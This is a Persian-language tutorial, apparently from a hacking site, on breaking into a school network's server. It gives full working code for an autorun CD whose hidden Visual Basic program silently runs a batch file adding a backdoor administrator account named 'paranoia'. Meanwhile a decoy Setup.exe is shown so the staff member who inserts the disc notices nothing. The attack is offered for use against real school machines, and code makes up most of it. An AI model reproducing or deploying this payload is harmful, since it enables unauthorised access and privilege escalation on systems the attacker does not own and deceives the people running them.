راهنمای جامع هک کردن شبکه ها ی مدرسه.... (قسمت دوم)
خوب این با می خوام بگم که به چه صورتی یک فایل اجرایی رو روی سرور اجرا کنید.
اولین راه که تابلو با استفاده از یک باگ تر و تمیز یک فایل رو روی سرور Upload می کنیم و بعدش اجرا می کنیم. خوب حالا اگه سرور ما بدون باگ بود باید چی کار کنیم؟
برای اینکه این راه رو معرفی کنم یه مقدّمه می گم. توی مدرسه ما همونطور که فلاپی درایو نداشتیم سی دی رام هم نداشتیم.ولی عوضش سی دی رام سرور Share شده بود تا در مواقع لازم و خیلی مواقع دیگه که بچه ها به سی دی رام نیاز داشتن از اون استفاده کنن. خوب پس ما می تونیم یک سی دی بزاریم اونجا (از این راه هم می تونین برای انتقال فایل استفاده کنین) حالا ما می آیم چیکار می کنیم ؟ با استفاده از ویژوال بیسیک یه Autorun می سازیم که تا مسئول کامپیوتر سی دی رو گذاشت کار تموم بشه!
مواد لازم:
- یک فایل که Autorun سی دی رو بکار بندازه.
- یک فایل که وقتی Autorun کار کرد روی صفحه ی مانیتور بیاد.
- فایلی که می خواهیم روی سرور اجرا بشه.(من در این جا طریقه ی ساخت یک بچ فایل که یک یوزر با -امکانات ادمین روی کامپیوتر بسازه رو میدم.این فایل به صورت مخفی اجرا نمی شه برای همین با استفاده از ویژوال بیسیک طریقه ی مخفی اجرا شدنش رو هم می گم)
- یک برنامه ی ویژوال بیسیک که این کار ها رو برامون بکنه.


- یک فایل که Autorun سی دی رو بکار بندازه.
برای اینکه برای یک سی دی Autorun بگذارین باید تو درایو سی دی یک فایل به نام Autorun.inf بسازین و توی اون اینها رو تایپ کنین:
[Autorun]
open=VB.exe
در جلوی OPEN باید اسم فایلی رو که می خواهید اجرا کنید بنویسید که در اینجا برنامه ای است که با ویژوال بیسیک نوشتیم هست.
- یک فایل که وقتی Autorun کار کرد روی صفحه ی مانیتور بیاد.
این فایل فایلی هستش که به صورت Autorun بالا می آد و توی صفحه ی مانیتور ظاهر میشه. مثلا من یک فایل از قبل آماده کردم به نام Setup.exe .
- فایلی که می خواهیم روی سرور اجرا بشه.
این فایل می تونه هر فایلی باشه ولی من آموزش همون بچ فایل رو می دم.
یه فابل TXT باز کنید و توی اون اینا رو بنویسین و با پسوند .Bat ذخیره کنید.
Net user paranoia 1@3Abcde /add
Net localgroup administrators paranoia /add
این فایل یوزری به نام Paranoia و پسورد 1@3Abcde می سازه و اون رو ادمین می کنه. ما این فایل رو به نا م X.bat ذخیره کردیم.حالا می رسیم سز اصل کار یعنی برنامه ی ویژوال بیسیک
- یک برنامه ی ویژوال بیسیک که این کار ها رو برامون بکنه.
یک برنامه ی ویژوال بیسیک باز کنید.اول مقدار Visible فرم رو بکنین False.حالا وارد محیط کد بشین و اینو تایپ کنید.جای X: اسم درایو سی دی رو بزارین:
Private Sub Form_Load()
Result = Shell("x:x.bat",vbhide)
Result = Shell("x:Setup.exe", vbNormalFocus)
End Sub
همین.برنامه رو کامپایل کنید و با نام VB.exe توی سی دی که می خواین بسازین قرار بدین.و برین سی دی رو رایت کنید.فقط یه مشکلی پیش میاد وقتی که ندونید درایو سی دی کدوم درایو هستش اون وقت باید به برنامه بگین که همه ی درایو ها رو بگرده تا اونی که این فایل توشه رو پیدا کنه.که کد برنامه میشه به این صورت:
Private Sub Form_Load()
On Error Resume Next
Result = Shell("d:x.bat",vbhide)
Result = Shell("e:x.bat",vbhide)
Result = Shell("f:x.bat",vbhide)
Result = Shell("g:x.bat",vbhide)
Result = Shell("h:x.bat",vbhide)
Result = Shell("i:x.bat",vbhide)
Result = Shell("j:x.bat",vbhide)
Result = Shell("k:x.bat",vbhide)
Result = Shell("l:x.bat",vbhide)
Result = Shell("m:x.bat",vbhide)
Result = Shell("n:x.bat",vbhide)
Result = Shell("o:x.bat",vbhide)
Result = Shell("p:x.bat",vbhide)
Result = Shell("q:x.bat",vbhide)
Result = Shell("r:x.bat",vbhide)
Result = Shell("s:x.bat",vbhide)
Result = Shell("t:x.bat",vbhide)
Result = Shell("u:x.bat",vbhide)
Result = Shell("v:x.bat",vbhide)
Result = Shell("w:x.bat",vbhide)
Result = Shell("x:x.bat",vbhide)
Result = Shell("y:x.bat",vbhide)
Result = Shell("z:x.bat",vbhide)

Result = Shell("d:Setup.exe", vbNormalFocus)
Result = Shell("e:Setup.exe", vbNormalFocus)
Result = Shell("f:Setup.exe", vbNormalFocus)
Result = Shell("g:Setup.exe", vbNormalFocus)
Result = Shell("h:Setup.exe", vbNormalFocus)
Result = Shell("i:Setup.exe", vbNormalFocus)
Result = Shell("j:Setup.exe", vbNormalFocus)
Result = Shell("k:Setup.exe", vbNormalFocus)
Result = Shell("l:Setup.exe", vbNormalFocus)
Result = Shell("m:Setup.exe", vbNormalFocus)
Result = Shell("n:Setup.exe", vbNormalFocus)
Result = Shell("o:Setup.exe", vbNormalFocus)
Result = Shell("p:Setup.exe", vbNormalFocus)
Result = Shell("q:Setup.exe", vbNormalFocus)
Result = Shell("r:Setup.exe", vbNormalFocus)
Result = Shell("s:Setup.exe", vbNormalFocus)
Result = Shell("t:Setup.exe", vbNormalFocus)
Result = Shell("u:Setup.exe", vbNormalFocus)
Result = Shell("v:Setup.exe", vbNormalFocus)
Result = Shell("w:Setup.exe", vbNormalFocus)
Result = Shell("x:Setup.exe", vbNormalFocus)
Result = Shell("y:Setup.exe", vbNormalFocus)
Result = Shell("z:Setup.exe", vbNormalFocus)
End Sub
حالا اگر این سی دی رو توی هر کامپیوتری بزارین اون کاری که گفتم رو می کنه.


 

منبع : www.crouz.com

<<< Back